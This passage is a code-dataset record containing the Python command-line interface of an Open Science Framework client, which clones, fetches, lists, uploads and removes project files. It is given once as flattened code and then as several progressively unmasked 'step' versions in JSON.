config.keys(): config_.set('osf', 'username', '') else: config_.set('osf', 'username', config['username']) if 'project' not in config.keys(): config_.set('osf', 'project', '') else: config_.set('osf', 'project', config['project']) # now we can start asking for new values print('Provide a username for the config file [current username: {}]:'.format( config_.get('osf', 'username'))) username = input() if username: config_.set('osf', 'username', username) print('Provide a project for the config file [current project: {}]:'.format( config_.get('osf', 'project'))) project = input() if project: config_.set('osf', 'project', project) cfgfile = open(".osfcli.config", "w") config_.write(cfgfile) cfgfile.close() @might_need_auth def clone(args): """Copy all files from all storages of a project. The output directory defaults to the current directory. If the project is private you need to specify a username. If args.update is True, overwrite any existing local files only if local and remote files differ. """ osf = _setup_osf(args) project = osf.project(args.project) output_dir = args.project if args.output is not None: output_dir = args.output with tqdm(unit='files') as pbar: for store in project.storages: prefix = os.path.join(output_dir, store.name) for file_ in store.files: path = file_.path if path.startswith('/'): path = path[1:] path = os.path.join(prefix, path) if os.path.exists(path) and args.update: if checksum(path) == file_.hashes.get('md5'): continue directory, _ = os.path.split(path) makedirs(directory, exist_ok=True) with open(path, "wb") as f: file_.write_to(f) pbar.update() @might_need_auth def fetch(args): """Fetch an individual file from a project. The first part of the remote path is interpreted as the name of the storage provider. If there is no match the default (osfstorage) is used. The local path defaults to the name of the remote file. If the project is private you need to specify a username. If args.force is True, write local file even if that file already exists. If args.force is False but args.update is True, overwrite an existing local file only if local and remote files differ. """ storage, remote_path = split_storage(args.remote) local_path = args.local if local_path is None: _, local_path = os.path.split(remote_path) local_path_exists = os.path.exists(local_path) if local_path_exists and not args.force and not args.update: sys.exit("Local file %s already exists, not overwriting." % local_path) directory, _ = os.path.split(local_path) if directory: makedirs(directory, exist_ok=True) osf = _setup_osf(args) project = osf.project(args.project) store = project.storage(storage) for file_ in store.files: if norm_remote_path(file_.path) == remote_path: if local_path_exists and not args.force and args.update: if file_.hashes.get('md5') == checksum(local_path): print("Local file %s already matches remote." % local_path) break with open(local_path, 'wb') as fp: file_.write_to(fp) # only fetching one file so we are done break @might_need_auth def list_(args): """List all files from all storages for project. If the project is private you need to specify a username. """ osf = _setup_osf(args) project = osf.project(args.project) for store in project.storages: prefix = store.name for file_ in store.files: path = file_.path if path.startswith('/'): path = path[1:] print(os.path.join(prefix, path)) @might_need_auth def upload(args): """Upload a new file to an existing project. The first part of the remote path is interpreted as the name of the storage provider. If there is no match the default (osfstorage) is used. If the project is private you need to specify a username. To upload a whole directory (and all its sub-directories) use the `-r` command-line option. If your source directory name ends in a / then files will be created directly in the remote directory. If it does not end in a slash an extra sub-directory with the name of the local directory will be created. To place contents of local directory `foo` in remote directory `bar/foo`: $ osf upload -r foo bar To place contents of local directory `foo` in remote directory `bar`: $ osf upload -r foo/ bar """ osf = _setup_osf(args) if osf.username is None or osf.password is None: sys.exit('To upload a file you need to provide a username and' ' password.') project = osf.project(args.project) storage, remote_path = split_storage(args.destination) if remote_path == '': remote_path = os.path.split(args.source)[-1] store = project.storage(storage) if args.recursive: if not os.path.isdir(args.source): raise RuntimeError("Expected source ({}) to be a directory when " "using recursive mode.".format(args.source)) # local name of the directory that is being uploaded _, dir_name = os.path.split(args.source) for root, _, files in os.walk(args.source): subdir_path = os.path.relpath(root, args.source) for fname in files: local_path = os.path.join(root, fname) with open(local_path, 'rb') as fp: # build the remote path + fname name = os.path.join(remote_path, dir_name, subdir_path, fname) store.create_file(name, fp, force=args.force, update=args.update) else: with open(args.source, 'rb') as fp: store.create_file(remote_path, fp, force=args.force, update=args.update) @might_need_auth def remove(args): """Remove a file from the project's storage. The first part of the remote path is interpreted as the name of the storage provider. If there is no match the default (osfstorage) is used. """ osf = _setup_osf(args) if osf.username is None or osf.password is None: sys.exit('To remove a file you need to provide a username and' ' password.') project = osf.project(args.project) storage, remote_path = split_storage(args.target) store = project.storage(storage) for f in store.files: if norm_remote_path(f.path) == remote_path: f.remove()
normal
{ "blob_id": "ca551d8e55ebb15a03077af5695782c6d72ff2fd", "index": 8091, "step-1": "<mask token>\n\n\ndef config_from_env(config):\n username = os.getenv('OSF_USERNAME')\n if username is not None:\n config['username'] = username\n project = os.getenv('OSF_PROJECT')\n if project is not None:\n config['project'] = project\n return config\n\n\ndef _get_username(args, config):\n if args.username is None:\n username = config.get('username')\n else:\n username = args.username\n return username\n\n\ndef _setup_osf(args):\n config = config_from_env(config_from_file())\n username = _get_username(args, config)\n project = config.get('project')\n if args.project is None:\n args.project = project\n if args.project is None:\n sys.exit(\n 'You have to specify a project ID via the command line, configuration file or environment variable.'\n )\n password = None\n if username is not None:\n password = os.getenv('OSF_PASSWORD')\n if password is None:\n password = getpass.getpass('Please input your password: ')\n return OSF(username=username, password=password)\n\n\ndef might_need_auth(f):\n \"\"\"Decorate a CLI function that might require authentication.\n\n Catches any UnauthorizedException raised, prints a helpful message and\n then exits.\n \"\"\"\n\n @wraps(f)\n def wrapper(cli_args):\n try:\n return_value = f(cli_args)\n except UnauthorizedException as e:\n config = config_from_env(config_from_file())\n username = _get_username(cli_args, config)\n if username is None:\n sys.exit('Please set a username (run `osf -h` for details).')\n else:\n sys.exit('You are not authorized to access this project.')\n return return_value\n return wrapper\n\n\n<mask token>\n\n\n@might_need_auth\ndef clone(args):\n \"\"\"Copy all files from all storages of a project.\n\n The output directory defaults to the current directory.\n\n If the project is private you need to specify a username.\n\n If args.update is True, overwrite any existing local files only if local and\n remote files differ.\n \"\"\"\n osf = _setup_osf(args)\n project = osf.project(args.project)\n output_dir = args.project\n if args.output is not None:\n output_dir = args.output\n with tqdm(unit='files') as pbar:\n for store in project.storages:\n prefix = os.path.join(output_dir, store.name)\n for file_ in store.files:\n path = file_.path\n if path.startswith('/'):\n path = path[1:]\n path = os.path.join(prefix, path)\n if os.path.exists(path) and args.update:\n if checksum(path) == file_.hashes.get('md5'):\n continue\n directory, _ = os.path.split(path)\n makedirs(directory, exist_ok=True)\n with open(path, 'wb') as f:\n file_.write_to(f)\n pbar.update()\n\n\n@might_need_auth\ndef fetch(args):\n \"\"\"Fetch an individual file from a project.\n\n The first part of the remote path is interpreted as the name of the\n storage provider. If there is no match the default (osfstorage) is\n used.\n\n The local path defaults to the name of the remote file.\n\n If the project is private you need to specify a username.\n\n If args.force is True, write local file even if that file already exists.\n If args.force is False but args.update is True, overwrite an existing local\n file only if local and remote files differ.\n \"\"\"\n storage, remote_path = split_storage(args.remote)\n local_path = args.local\n if local_path is None:\n _, local_path = os.path.split(remote_path)\n local_path_exists = os.path.exists(local_path)\n if local_path_exists and not args.force and not args.update:\n sys.exit('Local file %s already exists, not overwriting.' % local_path)\n directory, _ = os.path.split(local_path)\n if directory:\n makedirs(directory, exist_ok=True)\n osf = _setup_osf(args)\n project = osf.project(args.project)\n store = project.storage(storage)\n for file_ in store.files:\n if norm_remote_path(file_.path) == remote_path:\n if local_path_exists and not args.force and args.update:\n if file_.hashes.get('md5') == checksum(local_path):\n print('Local file %s already matches remote.' % local_path)\n break\n with open(local_path, 'wb') as fp:\n file_.write_to(fp)\n break\n\n\n@might_need_auth\ndef list_(args):\n \"\"\"List all files from all storages for project.\n\n If the project is private you need to specify a username.\n \"\"\"\n osf = _setup_osf(args)\n project = osf.project(args.project)\n for store in project.storages:\n prefix = store.name\n for file_ in store.files:\n path = file_.path\n if path.startswith('/'):\n path = path[1:]\n print(os.path.join(prefix, path))\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef config_from_env(config):\n username = os.getenv('OSF_USERNAME')\n if username is not None:\n config['username'] = username\n project = os.getenv('OSF_PROJECT')\n if project is not None:\n config['project'] = project\n return config\n\n\ndef _get_username(args, config):\n if args.username is None:\n username = config.get('username')\n else:\n username = args.username\n return username\n\n\ndef _setup_osf(args):\n config = config_from_env(config_from_file())\n username = _get_username(args, config)\n project = config.get('project')\n if args.project is None:\n args.project = project\n if args.project is None:\n sys.exit(\n 'You have to specify a project ID via the command line, configuration file or environment variable.'\n )\n password = None\n if username is not None:\n password = os.getenv('OSF_PASSWORD')\n if password is None:\n password = getpass.getpass('Please input your password: ')\n return OSF(username=username, password=password)\n\n\ndef might_need_auth(f):\n \"\"\"Decorate a CLI function that might require authentication.\n\n Catches any UnauthorizedException raised, prints a helpful message and\n then exits.\n \"\"\"\n\n @wraps(f)\n def wrapper(cli_args):\n try:\n return_value = f(cli_args)\n except UnauthorizedException as e:\n config = config_from_env(config_from_file())\n username = _get_username(cli_args, config)\n if username is None:\n sys.exit('Please set a username (run `osf -h` for details).')\n else:\n sys.exit('You are not authorized to access this project.')\n return return_value\n return wrapper\n\n\ndef init(args):\n \"\"\"Initialize or edit an existing .osfcli.config file.\"\"\"\n config = config_from_file()\n config_ = configparser.ConfigParser()\n config_.add_section('osf')\n if 'username' not in config.keys():\n config_.set('osf', 'username', '')\n else:\n config_.set('osf', 'username', config['username'])\n if 'project' not in config.keys():\n config_.set('osf', 'project', '')\n else:\n config_.set('osf', 'project', config['project'])\n print('Provide a username for the config file [current username: {}]:'.\n format(config_.get('osf', 'username')))\n username = input()\n if username:\n config_.set('osf', 'username', username)\n print('Provide a project for the config file [current project: {}]:'.\n format(config_.get('osf', 'project')))\n project = input()\n if project:\n config_.set('osf', 'project', project)\n cfgfile = open('.osfcli.config', 'w')\n config_.write(cfgfile)\n cfgfile.close()\n\n\n@might_need_auth\ndef clone(args):\n \"\"\"Copy all files from all storages of a project.\n\n The output directory defaults to the current directory.\n\n If the project is private you need to specify a username.\n\n If args.update is True, overwrite any existing local files only if local and\n remote files differ.\n \"\"\"\n osf = _setup_osf(args)\n project = osf.project(args.project)\n output_dir = args.project\n if args.output is not None:\n output_dir = args.output\n with tqdm(unit='files') as pbar:\n for store in project.storages:\n prefix = os.path.join(output_dir, store.name)\n for file_ in store.files:\n path = file_.path\n if path.startswith('/'):\n path = path[1:]\n path = os.path.join(prefix, path)\n if os.path.exists(path) and args.update:\n if checksum(path) == file_.hashes.get('md5'):\n continue\n directory, _ = os.path.split(path)\n makedirs(directory, exist_ok=True)\n with open(path, 'wb') as f:\n file_.write_to(f)\n pbar.update()\n\n\n@might_need_auth\ndef fetch(args):\n \"\"\"Fetch an individual file from a project.\n\n The first part of the remote path is interpreted as the name of the\n storage provider. If there is no match the default (osfstorage) is\n used.\n\n The local path defaults to the name of the remote file.\n\n If the project is private you need to specify a username.\n\n If args.force is True, write local file even if that file already exists.\n If args.force is False but args.update is True, overwrite an existing local\n file only if local and remote files differ.\n \"\"\"\n storage, remote_path = split_storage(args.remote)\n local_path = args.local\n if local_path is None:\n _, local_path = os.path.split(remote_path)\n local_path_exists = os.path.exists(local_path)\n if local_path_exists and not args.force and not args.update:\n sys.exit('Local file %s already exists, not overwriting.' % local_path)\n directory, _ = os.path.split(local_path)\n if directory:\n makedirs(directory, exist_ok=True)\n osf = _setup_osf(args)\n project = osf.project(args.project)\n store = project.storage(storage)\n for file_ in store.files:\n if norm_remote_path(file_.path) == remote_path:\n if local_path_exists and not args.force and args.update:\n if file_.hashes.get('md5') == checksum(local_path):\n print('Local file %s already matches remote.' % local_path)\n break\n with open(local_path, 'wb') as fp:\n file_.write_to(fp)\n break\n\n\n@might_need_auth\ndef list_(args):\n \"\"\"List all files from all storages for project.\n\n If the project is private you need to specify a username.\n \"\"\"\n osf = _setup_osf(args)\n project = osf.project(args.project)\n for store in project.storages:\n prefix = store.name\n for file_ in store.files:\n path = file_.path\n if path.startswith('/'):\n path = path[1:]\n print(os.path.join(prefix, path))\n\n\n@might_need_auth\ndef upload(args):\n \"\"\"Upload a new file to an existing project.\n\n The first part of the remote path is interpreted as the name of the\n storage provider. If there is no match the default (osfstorage) is\n used.\n\n If the project is private you need to specify a username.\n\n To upload a whole directory (and all its sub-directories) use the `-r`\n command-line option. If your source directory name ends in a / then\n files will be created directly in the remote directory. If it does not\n end in a slash an extra sub-directory with the name of the local directory\n will be created.\n\n To place contents of local directory `foo` in remote directory `bar/foo`:\n $ osf upload -r foo bar\n To place contents of local directory `foo` in remote directory `bar`:\n $ osf upload -r foo/ bar\n \"\"\"\n osf = _setup_osf(args)\n if osf.username is None or osf.password is None:\n sys.exit(\n 'To upload a file you need to provide a username and password.')\n project = osf.project(args.project)\n storage, remote_path = split_storage(args.destination)\n if remote_path == '':\n remote_path = os.path.split(args.source)[-1]\n store = project.storage(storage)\n if args.recursive:\n if not os.path.isdir(args.source):\n raise RuntimeError(\n 'Expected source ({}) to be a directory when using recursive mode.'\n .format(args.source))\n _, dir_name = os.path.split(args.source)\n for root, _, files in os.walk(args.source):\n subdir_path = os.path.relpath(root, args.source)\n for fname in files:\n local_path = os.path.join(root, fname)\n with open(local_path, 'rb') as fp:\n name = os.path.join(remote_path, dir_name, subdir_path,\n fname)\n store.create_file(name, fp, force=args.force, update=\n args.update)\n else:\n with open(args.source, 'rb') as fp:\n store.create_file(remote_path, fp, force=args.force, update=\n args.update)\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef config_from_env(config):\n username = os.getenv('OSF_USERNAME')\n if username is not None:\n config['username'] = username\n project = os.getenv('OSF_PROJECT')\n if project is not None:\n config['project'] = project\n return config\n\n\ndef _get_username(args, config):\n if args.username is None:\n username = config.get('username')\n else:\n username = args.username\n return username\n\n\ndef _setup_osf(args):\n config = config_from_env(config_from_file())\n username = _get_username(args, config)\n project = config.get('project')\n if args.project is None:\n args.project = project\n if args.project is None:\n sys.exit(\n 'You have to specify a project ID via the command line, configuration file or environment variable.'\n )\n password = None\n if username is not None:\n password = os.getenv('OSF_PASSWORD')\n if password is None:\n password = getpass.getpass('Please input your password: ')\n return OSF(username=username, password=password)\n\n\ndef might_need_auth(f):\n \"\"\"Decorate a CLI function that might require authentication.\n\n Catches any UnauthorizedException raised, prints a helpful message and\n then exits.\n \"\"\"\n\n @wraps(f)\n def wrapper(cli_args):\n try:\n return_value = f(cli_args)\n except UnauthorizedException as e:\n config = config_from_env(config_from_file())\n username = _get_username(cli_args, config)\n if username is None:\n sys.exit('Please set a username (run `osf -h` for details).')\n else:\n sys.exit('You are not authorized to access this project.')\n return return_value\n return wrapper\n\n\ndef init(args):\n \"\"\"Initialize or edit an existing .osfcli.config file.\"\"\"\n config = config_from_file()\n config_ = configparser.ConfigParser()\n config_.add_section('osf')\n if 'username' not in config.keys():\n config_.set('osf', 'username', '')\n else:\n config_.set('osf', 'username', config['username'])\n if 'project' not in config.keys():\n config_.set('osf', 'project', '')\n else:\n config_.set('osf', 'project', config['project'])\n print('Provide a username for the config file [current username: {}]:'.\n format(config_.get('osf', 'username')))\n username = input()\n if username:\n config_.set('osf', 'username', username)\n print('Provide a project for the config file [current project: {}]:'.\n format(config_.get('osf', 'project')))\n project = input()\n if project:\n config_.set('osf', 'project', project)\n cfgfile = open('.osfcli.config', 'w')\n config_.write(cfgfile)\n cfgfile.close()\n\n\n@might_need_auth\ndef clone(args):\n \"\"\"Copy all files from all storages of a project.\n\n The output directory defaults to the current directory.\n\n If the project is private you need to specify a username.\n\n If args.update is True, overwrite any existing local files only if local and\n remote files differ.\n \"\"\"\n osf = _setup_osf(args)\n project = osf.project(args.project)\n output_dir = args.project\n if args.output is not None:\n output_dir = args.output\n with tqdm(unit='files') as pbar:\n for store in project.storages:\n prefix = os.path.join(output_dir, store.name)\n for file_ in store.files:\n path = file_.path\n if path.startswith('/'):\n path = path[1:]\n path = os.path.join(prefix, path)\n if os.path.exists(path) and args.update:\n if checksum(path) == file_.hashes.get('md5'):\n continue\n directory, _ = os.path.split(path)\n makedirs(directory, exist_ok=True)\n with open(path, 'wb') as f:\n file_.write_to(f)\n pbar.update()\n\n\n@might_need_auth\ndef fetch(args):\n \"\"\"Fetch an individual file from a project.\n\n The first part of the remote path is interpreted as the name of the\n storage provider. If there is no match the default (osfstorage) is\n used.\n\n The local path defaults to the name of the remote file.\n\n If the project is private you need to specify a username.\n\n If args.force is True, write local file even if that file already exists.\n If args.force is False but args.update is True, overwrite an existing local\n file only if local and remote files differ.\n \"\"\"\n storage, remote_path = split_storage(args.remote)\n local_path = args.local\n if local_path is None:\n _, local_path = os.path.split(remote_path)\n local_path_exists = os.path.exists(local_path)\n if local_path_exists and not args.force and not args.update:\n sys.exit('Local file %s already exists, not overwriting.' % local_path)\n directory, _ = os.path.split(local_path)\n if directory:\n makedirs(directory, exist_ok=True)\n osf = _setup_osf(args)\n project = osf.project(args.project)\n store = project.storage(storage)\n for file_ in store.files:\n if norm_remote_path(file_.path) == remote_path:\n if local_path_exists and not args.force and args.update:\n if file_.hashes.get('md5') == checksum(local_path):\n print('Local file %s already matches remote.' % local_path)\n break\n with open(local_path, 'wb') as fp:\n file_.write_to(fp)\n break\n\n\n@might_need_auth\ndef list_(args):\n \"\"\"List all files from all storages for project.\n\n If the project is private you need to specify a username.\n \"\"\"\n osf = _setup_osf(args)\n project = osf.project(args.project)\n for store in project.storages:\n prefix = store.name\n for file_ in store.files:\n path = file_.path\n if path.startswith('/'):\n path = path[1:]\n print(os.path.join(prefix, path))\n\n\n@might_need_auth\ndef upload(args):\n \"\"\"Upload a new file to an existing project.\n\n The first part of the remote path is interpreted as the name of the\n storage provider. If there is no match the default (osfstorage) is\n used.\n\n If the project is private you need to specify a username.\n\n To upload a whole directory (and all its sub-directories) use the `-r`\n command-line option. If your source directory name ends in a / then\n files will be created directly in the remote directory. If it does not\n end in a slash an extra sub-directory with the name of the local directory\n will be created.\n\n To place contents of local directory `foo` in remote directory `bar/foo`:\n $ osf upload -r foo bar\n To place contents of local directory `foo` in remote directory `bar`:\n $ osf upload -r foo/ bar\n \"\"\"\n osf = _setup_osf(args)\n if osf.username is None or osf.password is None:\n sys.exit(\n 'To upload a file you need to provide a username and password.')\n project = osf.project(args.project)\n storage, remote_path = split_storage(args.destination)\n if remote_path == '':\n remote_path = os.path.split(args.source)[-1]\n store = project.storage(storage)\n if args.recursive:\n if not os.path.isdir(args.source):\n raise RuntimeError(\n 'Expected source ({}) to be a directory when using recursive mode.'\n .format(args.source))\n _, dir_name = os.path.split(args.source)\n for root, _, files in os.walk(args.source):\n subdir_path = os.path.relpath(root, args.source)\n for fname in files:\n local_path = os.path.join(root, fname)\n with open(local_path, 'rb') as fp:\n name = os.path.join(remote_path, dir_name, subdir_path,\n fname)\n store.create_file(name, fp, force=args.force, update=\n args.update)\n else:\n with open(args.source, 'rb') as fp:\n store.create_file(remote_path, fp, force=args.force, update=\n args.update)\n\n\n@might_need_auth\ndef remove(args):\n \"\"\"Remove a file from the project's storage.\n\n The first part of the remote path is interpreted as the name of the\n storage provider. If there is no match the default (osfstorage) is\n used.\n \"\"\"\n osf = _setup_osf(args)\n if osf.username is None or osf.password is None:\n sys.exit(\n 'To remove a file you need to provide a username and password.')\n project = osf.project(args.project)\n storage, remote_path = split_storage(args.target)\n store = project.storage(storage)\n for f in store.files:\n if norm_remote_path(f.path) == remote_path:\n f.remove()\n", "step-4": "<mask token>\nfrom __future__ import print_function\nfrom functools import wraps\nimport getpass\nimport os\nimport sys\nfrom six.moves import configparser\nfrom six.moves import input\nfrom tqdm import tqdm\nfrom .api import OSF\nfrom .exceptions import UnauthorizedException\nfrom .utils import norm_remote_path, split_storage, makedirs, checksum\n\n\ndef config_from_file():\n if os.path.exists('.osfcli.config'):\n config_ = configparser.ConfigParser()\n config_.read('.osfcli.config')\n config = dict(config_.items('osf'))\n else:\n config = {}\n return config\n\n\ndef config_from_env(config):\n username = os.getenv('OSF_USERNAME')\n if username is not None:\n config['username'] = username\n project = os.getenv('OSF_PROJECT')\n if project is not None:\n config['project'] = project\n return config\n\n\ndef _get_username(args, config):\n if args.username is None:\n username = config.get('username')\n else:\n username = args.username\n return username\n\n\ndef _setup_osf(args):\n config = config_from_env(config_from_file())\n username = _get_username(args, config)\n project = config.get('project')\n if args.project is None:\n args.project = project\n if args.project is None:\n sys.exit(\n 'You have to specify a project ID via the command line, configuration file or environment variable.'\n )\n password = None\n if username is not None:\n password = os.getenv('OSF_PASSWORD')\n if password is None:\n password = getpass.getpass('Please input your password: ')\n return OSF(username=username, password=password)\n\n\ndef might_need_auth(f):\n \"\"\"Decorate a CLI function that might require authentication.\n\n Catches any UnauthorizedException raised, prints a helpful message and\n then exits.\n \"\"\"\n\n @wraps(f)\n def wrapper(cli_args):\n try:\n return_value = f(cli_args)\n except UnauthorizedException as e:\n config = config_from_env(config_from_file())\n username = _get_username(cli_args, config)\n if username is None:\n sys.exit('Please set a username (run `osf -h` for details).')\n else:\n sys.exit('You are not authorized to access this project.')\n return return_value\n return wrapper\n\n\ndef init(args):\n \"\"\"Initialize or edit an existing .osfcli.config file.\"\"\"\n config = config_from_file()\n config_ = configparser.ConfigParser()\n config_.add_section('osf')\n if 'username' not in config.keys():\n config_.set('osf', 'username', '')\n else:\n config_.set('osf', 'username', config['username'])\n if 'project' not in config.keys():\n config_.set('osf', 'project', '')\n else:\n config_.set('osf', 'project', config['project'])\n print('Provide a username for the config file [current username: {}]:'.\n format(config_.get('osf', 'username')))\n username = input()\n if username:\n config_.set('osf', 'username', username)\n print('Provide a project for the config file [current project: {}]:'.\n format(config_.get('osf', 'project')))\n project = input()\n if project:\n config_.set('osf', 'project', project)\n cfgfile = open('.osfcli.config', 'w')\n config_.write(cfgfile)\n cfgfile.close()\n\n\n@might_need_auth\ndef clone(args):\n \"\"\"Copy all files from all storages of a project.\n\n The output directory defaults to the current directory.\n\n If the project is private you need to specify a username.\n\n If args.update is True, overwrite any existing local files only if local and\n remote files differ.\n \"\"\"\n osf = _setup_osf(args)\n project = osf.project(args.project)\n output_dir = args.project\n if args.output is not None:\n output_dir = args.output\n with tqdm(unit='files') as pbar:\n for store in project.storages:\n prefix = os.path.join(output_dir, store.name)\n for file_ in store.files:\n path = file_.path\n if path.startswith('/'):\n path = path[1:]\n path = os.path.join(prefix, path)\n if os.path.exists(path) and args.update:\n if checksum(path) == file_.hashes.get('md5'):\n continue\n directory, _ = os.path.split(path)\n makedirs(directory, exist_ok=True)\n with open(path, 'wb') as f:\n file_.write_to(f)\n pbar.update()\n\n\n@might_need_auth\ndef fetch(args):\n \"\"\"Fetch an individual file from a project.\n\n The first part of the remote path is interpreted as the name of the\n storage provider. If there is no match the default (osfstorage) is\n used.\n\n The local path defaults to the name of the remote file.\n\n If the project is private you need to specify a username.\n\n If args.force is True, write local file even if that file already exists.\n If args.force is False but args.update is True, overwrite an existing local\n file only if local and remote files differ.\n \"\"\"\n storage, remote_path = split_storage(args.remote)\n local_path = args.local\n if local_path is None:\n _, local_path = os.path.split(remote_path)\n local_path_exists = os.path.exists(local_path)\n if local_path_exists and not args.force and not args.update:\n sys.exit('Local file %s already exists, not overwriting.' % local_path)\n directory, _ = os.path.split(local_path)\n if directory:\n makedirs(directory, exist_ok=True)\n osf = _setup_osf(args)\n project = osf.project(args.project)\n store = project.storage(storage)\n for file_ in store.files:\n if norm_remote_path(file_.path) == remote_path:\n if local_path_exists and not args.force and args.update:\n if file_.hashes.get('md5') == checksum(local_path):\n print('Local file %s already matches remote.' % local_path)\n break\n with open(local_path, 'wb') as fp:\n file_.write_to(fp)\n break\n\n\n@might_need_auth\ndef list_(args):\n \"\"\"List all files from all storages for project.\n\n If the project is private you need to specify a username.\n \"\"\"\n osf = _setup_osf(args)\n project = osf.project(args.project)\n for store in project.storages:\n prefix = store.name\n for file_ in store.files:\n path = file_.path\n if path.startswith('/'):\n path = path[1:]\n print(os.path.join(prefix, path))\n\n\n@might_need_auth\ndef upload(args):\n \"\"\"Upload a new file to an existing project.\n\n The first part of the remote path is interpreted as the name of the\n storage provider. If there is no match the default (osfstorage) is\n used.\n\n If the project is private you need to specify a username.\n\n To upload a whole directory (and all its sub-directories) use the `-r`\n command-line option. If your source directory name ends in a / then\n files will be created directly in the remote directory. If it does not\n end in a slash an extra sub-directory with the name of the local directory\n will be created.\n\n To place contents of local directory `foo` in remote directory `bar/foo`:\n $ osf upload -r foo bar\n To place contents of local directory `foo` in remote directory `bar`:\n $ osf upload -r foo/ bar\n \"\"\"\n osf = _setup_osf(args)\n if osf.username is None or osf.password is None:\n sys.exit(\n 'To upload a file you need to provide a username and password.')\n project = osf.project(args.project)\n storage, remote_path = split_storage(args.destination)\n if remote_path == '':\n remote_path = os.path.split(args.source)[-1]\n store = project.storage(storage)\n if args.recursive:\n if not os.path.isdir(args.source):\n raise RuntimeError(\n 'Expected source ({}) to be a directory when using recursive mode.'\n .format(args.source))\n _, dir_name = os.path.split(args.source)\n for root, _, files in os.walk(args.source):\n subdir_path = os.path.relpath(root, args.source)\n for fname in files:\n local_path = os.path.join(root, fname)\n with open(local_path, 'rb') as fp:\n name = os.path.join(remote_path, dir_name, subdir_path,\n fname)\n store.create_file(name, fp, force=args.force, update=\n args.update)\n else:\n with open(args.source, 'rb') as fp:\n store.create_file(remote_path, fp, force=args.force, update=\n args.update)\n\n\n@might_need_auth\ndef remove(args):\n \"\"\"Remove a file from the project's storage.\n\n The first part of the remote path is interpreted as the name of the\n storage provider. If there is no match the default (osfstorage) is\n used.\n \"\"\"\n osf = _setup_osf(args)\n if osf.username is None or osf.password is None:\n sys.exit(\n 'To remove a file you need to provide a username and password.')\n project = osf.project(args.project)\n storage, remote_path = split_storage(args.target)\n store = project.storage(storage)\n for f in store.files:\n if norm_remote_path(f.path) == remote_path:\n f.remove()\n", "step-5": "\"\"\"Command line interface to the OSF\n\nThese functions implement the functionality of the command-line interface.\n\"\"\"\nfrom __future__ import print_function\n\nfrom functools import wraps\nimport getpass\nimport os\nimport sys\n\nfrom six.moves import configparser\nfrom six.moves import input\n\nfrom tqdm import tqdm\n\nfrom .api import OSF\nfrom .exceptions import UnauthorizedException\nfrom .utils import norm_remote_path, split_storage, makedirs, checksum\n\n\ndef config_from_file():\n if os.path.exists(\".osfcli.config\"):\n config_ = configparser.ConfigParser()\n config_.read(\".osfcli.config\")\n\n # for python2 compatibility\n config = dict(config_.items('osf'))\n\n else:\n config = {}\n\n return config\n\n\ndef config_from_env(config):\n username = os.getenv(\"OSF_USERNAME\")\n if username is not None:\n config['username'] = username\n\n project = os.getenv(\"OSF_PROJECT\")\n if project is not None:\n config['project'] = project\n\n return config\n\n\ndef _get_username(args, config):\n if args.username is None:\n username = config.get('username')\n else:\n username = args.username\n return username\n\n\ndef _setup_osf(args):\n # Command line options have precedence over environment variables,\n # which have precedence over the config file.\n config = config_from_env(config_from_file())\n\n username = _get_username(args, config)\n\n project = config.get('project')\n if args.project is None:\n args.project = project\n # still None? We are in trouble\n if args.project is None:\n sys.exit('You have to specify a project ID via the command line,'\n ' configuration file or environment variable.')\n\n password = None\n if username is not None:\n password = os.getenv(\"OSF_PASSWORD\")\n\n # Prompt user when password is not set\n if password is None:\n password = getpass.getpass('Please input your password: ')\n\n return OSF(username=username, password=password)\n\n\ndef might_need_auth(f):\n \"\"\"Decorate a CLI function that might require authentication.\n\n Catches any UnauthorizedException raised, prints a helpful message and\n then exits.\n \"\"\"\n @wraps(f)\n def wrapper(cli_args):\n try:\n return_value = f(cli_args)\n except UnauthorizedException as e:\n config = config_from_env(config_from_file())\n username = _get_username(cli_args, config)\n\n if username is None:\n sys.exit(\"Please set a username (run `osf -h` for details).\")\n else:\n sys.exit(\"You are not authorized to access this project.\")\n\n return return_value\n\n return wrapper\n\n\ndef init(args):\n \"\"\"Initialize or edit an existing .osfcli.config file.\"\"\"\n # reading existing config file, convert to configparser object\n config = config_from_file()\n config_ = configparser.ConfigParser()\n config_.add_section('osf')\n if 'username' not in config.keys():\n config_.set('osf', 'username', '')\n else:\n config_.set('osf', 'username', config['username'])\n if 'project' not in config.keys():\n config_.set('osf', 'project', '')\n else:\n config_.set('osf', 'project', config['project'])\n\n # now we can start asking for new values\n print('Provide a username for the config file [current username: {}]:'.format(\n config_.get('osf', 'username')))\n username = input()\n if username:\n config_.set('osf', 'username', username)\n\n print('Provide a project for the config file [current project: {}]:'.format(\n config_.get('osf', 'project')))\n project = input()\n if project:\n config_.set('osf', 'project', project)\n\n cfgfile = open(\".osfcli.config\", \"w\")\n config_.write(cfgfile)\n cfgfile.close()\n\n\n@might_need_auth\ndef clone(args):\n \"\"\"Copy all files from all storages of a project.\n\n The output directory defaults to the current directory.\n\n If the project is private you need to specify a username.\n\n If args.update is True, overwrite any existing local files only if local and\n remote files differ.\n \"\"\"\n osf = _setup_osf(args)\n project = osf.project(args.project)\n output_dir = args.project\n if args.output is not None:\n output_dir = args.output\n\n with tqdm(unit='files') as pbar:\n for store in project.storages:\n prefix = os.path.join(output_dir, store.name)\n\n for file_ in store.files:\n path = file_.path\n if path.startswith('/'):\n path = path[1:]\n\n path = os.path.join(prefix, path)\n if os.path.exists(path) and args.update:\n if checksum(path) == file_.hashes.get('md5'):\n continue\n directory, _ = os.path.split(path)\n makedirs(directory, exist_ok=True)\n\n with open(path, \"wb\") as f:\n file_.write_to(f)\n\n pbar.update()\n\n\n@might_need_auth\ndef fetch(args):\n \"\"\"Fetch an individual file from a project.\n\n The first part of the remote path is interpreted as the name of the\n storage provider. If there is no match the default (osfstorage) is\n used.\n\n The local path defaults to the name of the remote file.\n\n If the project is private you need to specify a username.\n\n If args.force is True, write local file even if that file already exists.\n If args.force is False but args.update is True, overwrite an existing local\n file only if local and remote files differ.\n \"\"\"\n storage, remote_path = split_storage(args.remote)\n\n local_path = args.local\n if local_path is None:\n _, local_path = os.path.split(remote_path)\n\n local_path_exists = os.path.exists(local_path)\n if local_path_exists and not args.force and not args.update:\n sys.exit(\"Local file %s already exists, not overwriting.\" % local_path)\n\n directory, _ = os.path.split(local_path)\n if directory:\n makedirs(directory, exist_ok=True)\n\n osf = _setup_osf(args)\n project = osf.project(args.project)\n\n store = project.storage(storage)\n for file_ in store.files:\n if norm_remote_path(file_.path) == remote_path:\n if local_path_exists and not args.force and args.update:\n if file_.hashes.get('md5') == 